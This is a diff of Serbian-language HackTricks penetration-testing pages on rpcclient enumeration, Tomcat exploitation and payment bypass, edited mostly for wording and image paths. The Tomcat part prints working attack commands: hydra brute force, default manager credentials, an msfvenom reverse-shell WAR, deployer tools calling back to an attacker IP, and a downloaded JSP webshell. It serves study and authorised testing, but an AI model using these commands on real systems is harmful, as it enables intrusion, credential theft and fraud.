<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -158,7 +158,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@
### Pregled Relativnih Identifikatora (RID) i Sigurnosnih Identifikatora (SID)
**Relativni Identifikatori (RID)** i **Sigurnosni Identifikatori (SID)** su ključne komponente u Windows operativnim sistemima za jedinstveno identifikovanje i upravljanje objektima, kao što su korisnici i grupe, unutar mrežnog domena.
**Relativni Identifikatori (RID)** i **Sigurnosni Identifikatori (SID)** su ključni komponenti u Windows operativnim sistemima za jedinstveno identifikovanje i upravljanje objektima, kao što su korisnici i grupe, unutar mrežnog domena.
- **SID-ovi** služe kao jedinstveni identifikatori za domene, osiguravajući da svaki domen bude razlikovljiv.
- **RID-ovi** se dodaju SID-ovima kako bi se kreirali jedinstveni identifikatori za objekte unutar tih domena. Ova kombinacija omogućava precizno praćenje i upravljanje dozvolama objekata i kontrolama pristupa.
@ -32,7 +32,7 @@ Na primer, korisnik po imenu `pepe` može imati jedinstveni identifikator koji k
### **Enumeracija sa rpcclient-om**
**`rpcclient`** alat iz Samba-e se koristi za interakciju sa **RPC endpointima putem imenovanih cevi**. U nastavku su navedene komande koje se mogu izdati SAMR, LSARPC i LSARPC-DS interfejsima nakon što se uspostavi **SMB sesija**, često zahtevajući akreditive.
**`rpcclient`** alat iz Samba-e se koristi za interakciju sa **RPC endpointima putem imenovanih cevi**. Ispod su navedene komande koje se mogu izdati SAMR, LSARPC i LSARPC-DS interfejsima nakon što se uspostavi **SMB sesija**, često zahtevajući akreditive.
#### Informacije o Serveru
@ -40,7 +40,7 @@ Na primer, korisnik po imenu `pepe` može imati jedinstveni identifikator koji k
#### Enumeracija Korisnika
* **Korisnici mogu biti navedeni** korišćenjem: `querydispinfo` i `enumdomusers`.
* **Korisnici se mogu listati** korišćenjem: `querydispinfo` i `enumdomusers`.
* **Detalji o korisniku** sa: `queryuser <0xrid>`.
* **Grupe korisnika** sa: `queryusergroups <0xrid>`.
* **SID korisnika se dobija** kroz: `lookupnames <korisničko_ime>`.
@ -72,14 +72,14 @@ done
#### Enumeracija deljenja
* **Sva dostupna deljenja** sa: `netshareenumall`.
* **Sva dostupna deljenja** pomoću: `netshareenumall`.
* **Informacije o određenom deljenju se dobijaju** sa: `netsharegetinfo <share>`.
#### Dodatne operacije sa SID-ovima
* **SID-ovi po imenu** korišćenjem: `lookupnames <username>`.
* **Više SID-ova** kroz: `lsaenumsid`.
* **Provera više SID-ova kroz cikliranje RID-ova** se vrši sa: `lookupsids <sid>`.
* **Provera više SID-ova kroz cikliranje RID-a** se vrši sa: `lookupsids <sid>`.
#### **Dodatne komande**
@ -92,8 +92,8 @@ done
| enumdomgroups | Enumeracija grupa domena | |
| createdomuser | Kreiranje korisnika domena | |
| deletedomuser | Brisanje korisnika domena | |
| lookupnames | LSARPC | Pretraga korisničkih imena za SID vrednosti |
| lookupsids | Pretraga SID-ova za korisničkim imenima (cikliranje RID-ova) | |
| lookupnames | LSARPC | Pretraga korisničkih imena za SID vrednosti[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | Pretraga SID-ova za korisničkim imenima (cikliranje RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lsaaddacctrights | Dodavanje prava korisničkom nalogu | |
| lsaremoveacctrights | Uklanjanje prava sa korisničkog naloga | |
| dsroledominfo | LSARPC-DS | Dobijanje osnovnih informacija o domenu |
@ -103,7 +103,7 @@ Za **bolje razumevanje** kako alati _**samrdump**_ **i** _**rpcdump**_ funkcioni
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -111,7 +111,7 @@ Za **bolje razumevanje** kako alati _**samrdump**_ **i** _**rpcdump**_ funkcioni
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite da vidite vašu **kompaniju reklamiranu na HackTricks**? Ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
```
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -81,10 +81,10 @@ $file = file_get_contents($url, false, $context);
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Научите хаковање AWS од нуле до героја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Научите хаковање AWS од нуле до хероја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Радите ли у **компанији за кибер безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? или желите приступ **најновијој верзији PEASS или преузимање HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)!
* Да ли радите у **компанији за кибер безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? или желите приступ **најновијој верзији PEASS или преузимање HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)!
* Откријте [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family)
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com)
* **Придружите се** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** ме на **Твитеру** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поделите своје хакерске трикове подношењем PR-ова** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **и** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Поделите своје хакерске трикове подношењем PR-ова** [**hacktricks репозиторијуму**](https://github.com/carlospolop/hacktricks) **и** [**hacktricks-cloud репозиторијуму**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,7 +23,7 @@
## Откривање
* Обично се извршава на **порту 8080**
* **Честа грешка Томката:**
* **Уобичајена грешка Томката:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
@ -56,7 +56,7 @@ Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i
* tomcat:s3cr3t
* admin:tomcat
Ove akreditacije se mogu testirati korišćenjem:
Ove akreditacije mogu biti testirane korišćenjem:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
@ -64,7 +64,7 @@ Drugi značajan direktorijum je **`/manager/status`**, koji prikazuje verziju To
### **Napad grubom silom**
Za pokušaj napada grubom silom na direktorijum menadžera, može se koristiti:
Za pokušaj napada grubom silom na direktorijum manager, može se koristiti:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
@ -148,11 +148,11 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
```
2. Postavite fajl `revshell.war` i pristupite mu (`/revshell/`):
### Bind i reverse shell sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
### Bind i reverzibilna ljuska sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
U nekim scenarijima ovo ne radi (na primer, starije verzije sun-a)
#### Preuzmi
#### Preuzimanje
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
@ -160,6 +160,8 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind shell
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
@ -168,7 +170,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Ručni metod - Veb čaura
### Ručni metod - Veb šel
Kreirajte **index.jsp** sa ovim [sadržajem](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
@ -203,7 +205,7 @@ webshell.war is created
```
### Ručni metod 2
Preuzmite JSP web školjku poput [ove](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku:
Preuzmite JSP web ljusku poput [ove](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR fajl:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
@ -216,7 +218,7 @@ Ime datoteke sa Tomcat kredencijalima je _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
### Druge metode prikupljanja Tomcat akreditacija:
Drugi načini za prikupljanje Tomcat akreditacija:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
@ -232,7 +234,7 @@ msf> use post/windows/gather/enum_tomcat
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -244,6 +246,6 @@ msf> use post/windows/gather/enum_tomcat
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -8,13 +8,13 @@
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -52,7 +52,7 @@ Kako ne biste pokretali Tomcat sa root privilegijama, veoma česta konfiguracija
* `bin` folder čuva skripte i binarne datoteke potrebne za pokretanje i rad Tomcat servera.
* `conf` folder čuva različite konfiguracione datoteke koje koristi Tomcat.
* Datoteka `tomcat-users.xml` čuva korisničke podatke i njihove dodeljene uloge.
* `lib` folder drži različite JAR datoteke potrebne za ispravno funkcionisanje Tomcat-a.
* `lib` folder sadrži različite JAR datoteke potrebne za ispravno funkcionisanje Tomcat-a.
* `logs` i `temp` folderi čuvaju privremene log datoteke.
* `webapps` folder je podrazumevani webroot Tomcat-a i hostuje sve aplikacije. `work` folder funkcioniše kao keš i koristi se za čuvanje podataka tokom izvršavanja.
@ -74,7 +74,7 @@ webapps/customapp
└── AdminServlet.class
```
Najvažnija datoteka među njima je `WEB-INF/web.xml`, poznata kao opisnik implementacije. Ova datoteka čuva **informacije o rutama** koje koristi aplikacija i klase koje upravljaju tim rutama.\
Sve kompajlirane klase koje koristi aplikacija treba da budu smeštene u fascikli `WEB-INF/classes`. Ove klase mogu sadržati važnu poslovnu logiku kao i osetljive informacije. Svaka ranjivost u ovim datotekama može dovesti do potpunog kompromitovanja veb sajta. Fascikla `lib` čuva biblioteke potrebne toj određenoj aplikaciji. Fascikla `jsp` čuva [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ranije poznate kao `JavaServer Pages`, koje se mogu uporediti sa PHP datotekama na Apache serveru.
Sve kompajlirane klase koje koristi aplikacija treba čuvati u fascikli `WEB-INF/classes`. Te klase mogu sadržati važnu poslovnu logiku kao i osetljive informacije. Svaka ranjivost u ovim datotekama može dovesti do potpunog kompromitovanja veb sajta. Fascikla `lib` čuva biblioteke potrebne toj određenoj aplikaciji. Fascikla `jsp` čuva [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ranije poznate kao `JavaServer Pages`, koje se mogu uporediti sa PHP datotekama na Apache serveru.
Evo primera **web.xml** datoteke.
```xml
@ -94,15 +94,15 @@ Evo primera **web.xml** datoteke.
</servlet-mapping>
</web-app>
```
Gornja konfiguracija `web.xml` definiše **novi servlet nazvan `AdminServlet`** koji je mapiran na **klasu `com.inlanefreight.api.AdminServlet`**. Java koristi tačkastu notaciju za kreiranje imena paketa, što znači da bi putanja na disku za gore navedenu klasu bila:
Konfiguracija `web.xml` gore definiše **novi servlet nazvan `AdminServlet`** koji je mapiran na **klasu `com.inlanefreight.api.AdminServlet`**. Java koristi tačkastu notaciju za kreiranje imena paketa, što znači da bi putanja na disku za gore navedenu klasu bila:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
Zatim je kreiran novi mapiranje servleta kako bi se **mapirali zahtevi na `/admin` sa `AdminServlet`**. Ova konfiguracija će proslediti svaki zahtev primljen za **`/admin` klasi `AdminServlet.class`** na obradu. Deskriptor **`web.xml`** sadrži mnogo **osetljivih informacija** i važan je fajl za proveru prilikom iskorišćavanja **ranjivosti lokalnog uključivanja datoteka (LFI)**.
Zatim je kreirano novo mapiranje servleta da **mapira zahteve na `/admin` sa `AdminServlet`**. Ova konfiguracija će poslati svaki zahtev primljen za **`/admin` klasi `AdminServlet.class`** na obradu. Deskriptor **`web.xml`** sadrži mnogo **osetljivih informacija** i važan je fajl za proveru prilikom iskorišćavanja **Local File Inclusion (LFI) ranjivosti**.
### tomcat-users
Fajl **`tomcat-users.xml`** se koristi za **dozvolu** ili zabranu pristupa **admin stranicama `/manager` i `host-manager`**.
Fajl **`tomcat-users.xml`** se koristi da **dozvoli** ili zabrani pristup **`/manager` i `host-manager` admin stranicama**.
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -151,7 +151,7 @@ Datoteka nam pokazuje na šta svaka od uloga `manager-gui`, `manager-script`, `m
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -159,7 +159,7 @@ Datoteka nam pokazuje na šta svaka od uloga `manager-gui`, `manager-script`, `m
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -1,4 +1,4 @@
# Bypass Procesa Plaćanja
# Bypass Proces Plaćanja
<details>
@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,7 +25,7 @@ Drugi načini podrške HackTricks-u:
## Tehnike Bypass-a Plaćanja
### Intercepcija Zahteva
Tokom procesa transakcije, važno je pratiti podatke koji se razmenjuju između klijenta i servera. Ovo se može postići intercepcijom svih zahteva. U ovim zahtevima, obratite pažnju na parametre sa značajnim implikacijama, kao što su:
Tokom procesa transakcije, važno je pratiti podatke koji se razmenjuju između klijenta i servera. To se može postići intercepcijom svih zahteva. U tim zahtevima, obratite pažnju na parametre sa značajnim implikacijama, kao što su:
- **Success**: Ovaj parametar često označava status transakcije.
- **Referrer**: Može ukazivati na izvor odakle je zahtev potekao.
@ -35,18 +35,18 @@ Tokom procesa transakcije, važno je pratiti podatke koji se razmenjuju između
Ako naiđete na parametar koji sadrži URL, posebno onaj koji sledi obrazac _primer.com/plaćanje/MD5HASH_, potrebno je pažljivije ispitati. Evo korak-po-korak pristupa:
1. **Kopirajte URL**: Izdvojite URL iz vrednosti parametra.
2. **Inspekcija u Novom Prozoru**: Otvorite kopirani URL u novom prozoru pregledača. Ova akcija je ključna za razumevanje ishoda transakcije.
2. **Inspekcija u Novom Prozoru**: Otvorite kopirani URL u novom prozoru pregledača. Ova radnja je ključna za razumevanje ishoda transakcije.
### Manipulacija Parametrima
1. **Promenite Vrednosti Parametara**: Ispitajte menjanjem vrednosti parametara poput _Success_, _Referrer_ ili _Callback_. Na primer, promena parametra sa `false` na `true` ponekad može otkriti kako sistem obrađuje ove ulaze.
2. **Uklonite Parametre**: Pokušajte da uklonite određene parametre da biste videli kako sistem reaguje. Neki sistemi mogu imati rezervne opcije ili podrazumevano ponašanje kada nedostaju očekivani parametri.
### Manipulacija Kukijima (Cookies)
1. **Ispitajte Kukije**: Mnoge veb stranice čuvaju važne informacije u kukijima. Ispitajte ove kukije za bilo kakve podatke koji se odnose na status plaćanja ili autentifikaciju korisnika.
2. **Izmenite Vrednosti Kukija**: Promenite vrednosti koje se čuvaju u kukijima i posmatrajte kako se odgovor ili ponašanje veb stranice menjaju.
### Manipulacija Kolačićima
1. **Ispitajte Kolačiće**: Mnoge veb stranice čuvaju važne informacije u kolačićima. Ispitajte ove kolačiće za bilo koje podatke koji se odnose na status plaćanja ili autentifikaciju korisnika.
2. **Izmenite Vrednosti Kolačića**: Promenite vrednosti koje se čuvaju u kolačićima i posmatrajte kako se menja odgovor ili ponašanje veb stranice.
### Hakovanje Sesije
1. **Tokeni Sesije**: Ako se koriste tokeni sesije u procesu plaćanja, pokušajte da ih uhvatite i manipulišete njima. Ovo može pružiti uvide u ranjivosti upravljanja sesijom.
1. **Tokeni Sesije**: Ako se tokeni sesije koriste u procesu plaćanja, pokušajte da ih uhvatite i manipulišete njima. Ovo može pružiti uvide u ranjivosti upravljanja sesijom.
### Manipulacija Odgovorima
1. **Interceptujte Odgovore**: Koristite alate za presretanje i analizu odgovora sa servera. Potražite bilo kakve podatke koji bi mogli ukazivati na uspešnu transakciju ili otkriti sledeće korake u procesu plaćanja.
